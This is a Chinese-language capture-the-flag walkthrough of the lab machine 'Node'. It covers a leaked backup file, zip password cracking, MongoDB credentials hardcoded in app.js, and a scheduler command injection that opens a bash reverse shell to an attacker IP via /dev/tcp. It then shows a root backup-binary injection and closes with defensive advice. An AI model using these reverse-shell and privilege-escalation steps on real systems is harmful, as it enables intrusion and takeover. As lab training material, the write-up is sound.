[Meachines] [Medium] node E-NodeJS-API泄露+备份文件泄露+TRP00F自动权限提升+app.js与MongoDB命令注入+backup权限提升
字数 1006 2025-08-19 12:40:50

NodeJS API泄露与权限提升漏洞分析

目标系统概述

  • IP地址: 10.10.10.58
  • 开放端口:
    • 22/tcp (SSH)
    • 3000/tcp (Hadoop任务追踪器/NodeJS应用)

信息收集阶段

端口扫描结果

$ nmap -p- 10.10.10.58 --min-rate 1000 -sC -sV -Pn

PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
|_http-title: MyPlace

Web应用发现

  • 访问地址: http://10.10.10.58:3000
  • API端点: http://10.10.10.58:3000/api/users/

漏洞利用过程

1. 备份文件泄露

  1. 发现备份文件: http://10.10.10.58:3000/myplace.backup
  2. 分析备份文件:
    $ binwalk myplace.backup
    $ cat myplace.backup|base64 -d >myplace.backup.decode
    
  3. 破解备份文件密码:
    $ zip2john myplace.backup.decode -o myplace.backup.decode.john
    $ john --wordlist=/usr/share/wordlists/rockyou.txt myplace.backup.decode.john
    
    • 破解出的密码: magicword
  4. 解压备份文件:
    $ unzip myplace.backup.decode
    

2. 数据库凭证泄露

在解压后的文件中发现关键信息:

$ cat var/www/myplace/app.js

发现MongoDB连接字符串:

mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace
  • 用户名: mark
  • 密码: 5AYRft73VtFpc84k

3. TRP00F自动权限提升

使用TRP00F工具进行权限提升:

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10033 --rhost 10.10.16.24 --rport 10034 --http 9999 --password '5AYRft73VtFpc84k'

4. MongoDB命令注入

  1. 通过SSH登录mark账户:
    $ ssh mark@10.10.10.58
    
  2. 分析app.js中的任务调度机制:
    • 脚本每30秒从MongoDB的tasks集合中获取命令并执行
    • 执行后会删除对应的文档
  3. 利用MongoDB注入反弹shell:
    $ mongo -u mark -p 5AYRft73VtFpc84k scheduler
    > db.tasks.insert({"cmd": "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.24/10035 0>&1'"})
    > db.tasks.find()
    
  4. 获取user flag:
    b0ca19843af3d049a782f7f16b0cf144
    

5. 备份工具权限提升

  1. 发现可疑二进制文件:
    $ file /usr/local/bin/backup
    
  2. 分析发现-q选项存在命令注入漏洞:
    $ /usr/local/bin/backup -q "" '
    /bin/bash'
    
  3. 获取root flag:
    2278ab816e1cd3204d1b331144bf9704
    

关键漏洞总结

  1. API端点泄露:

    • /api/users/ 暴露了用户凭证信息
  2. 备份文件泄露:

    • 未加密的备份文件可通过Web访问
    • 备份文件包含敏感配置信息
  3. MongoDB弱凭证:

    • 硬编码的数据库凭证
    • 凭证复用问题(Web应用和系统用户使用相同凭证)
  4. 任务调度命令注入:

    • 应用从数据库直接读取并执行命令
    • 无任何输入验证或过滤
  5. 备份工具命令注入:

    • 参数处理不当导致命令注入
    • 以root权限运行

防御建议

  1. API安全:

    • 限制敏感API端点的访问
    • 实施适当的认证和授权机制
  2. 备份安全:

    • 不要将备份文件存储在Web可访问目录
    • 对备份文件进行加密
  3. 凭证管理:

    • 避免硬编码凭证
    • 使用不同的凭证用于不同服务
    • 实施定期凭证轮换
  4. 输入验证:

    • 对所有从数据库读取的数据进行验证
    • 实施最小权限原则
  5. 命令执行安全:

    • 避免直接执行来自不可信源的命令
    • 使用白名单机制限制可执行命令
  6. 权限管理:

    • 避免以root权限运行不必要的服务
    • 实施适当的权限分离
NodeJS API泄露与权限提升漏洞分析 目标系统概述 IP地址: 10.10.10.58 开放端口: 22/tcp (SSH) 3000/tcp (Hadoop任务追踪器/NodeJS应用) 信息收集阶段 端口扫描结果 Web应用发现 访问地址: http://10.10.10.58:3000 API端点: http://10.10.10.58:3000/api/users/ 漏洞利用过程 1. 备份文件泄露 发现备份文件: http://10.10.10.58:3000/myplace.backup 分析备份文件: 破解备份文件密码: 破解出的密码: magicword 解压备份文件: 2. 数据库凭证泄露 在解压后的文件中发现关键信息: 发现MongoDB连接字符串: 用户名: mark 密码: 5AYRft73VtFpc84k 3. TRP00F自动权限提升 使用TRP00F工具进行权限提升: 4. MongoDB命令注入 通过SSH登录mark账户: 分析app.js中的任务调度机制: 脚本每30秒从MongoDB的tasks集合中获取命令并执行 执行后会删除对应的文档 利用MongoDB注入反弹shell: 获取user flag: 5. 备份工具权限提升 发现可疑二进制文件: 分析发现-q选项存在命令注入漏洞: 获取root flag: 关键漏洞总结 API端点泄露 : /api/users/ 暴露了用户凭证信息 备份文件泄露 : 未加密的备份文件可通过Web访问 备份文件包含敏感配置信息 MongoDB弱凭证 : 硬编码的数据库凭证 凭证复用问题(Web应用和系统用户使用相同凭证) 任务调度命令注入 : 应用从数据库直接读取并执行命令 无任何输入验证或过滤 备份工具命令注入 : 参数处理不当导致命令注入 以root权限运行 防御建议 API安全 : 限制敏感API端点的访问 实施适当的认证和授权机制 备份安全 : 不要将备份文件存储在Web可访问目录 对备份文件进行加密 凭证管理 : 避免硬编码凭证 使用不同的凭证用于不同服务 实施定期凭证轮换 输入验证 : 对所有从数据库读取的数据进行验证 实施最小权限原则 命令执行安全 : 避免直接执行来自不可信源的命令 使用白名单机制限制可执行命令 权限管理 : 避免以root权限运行不必要的服务 实施适当的权限分离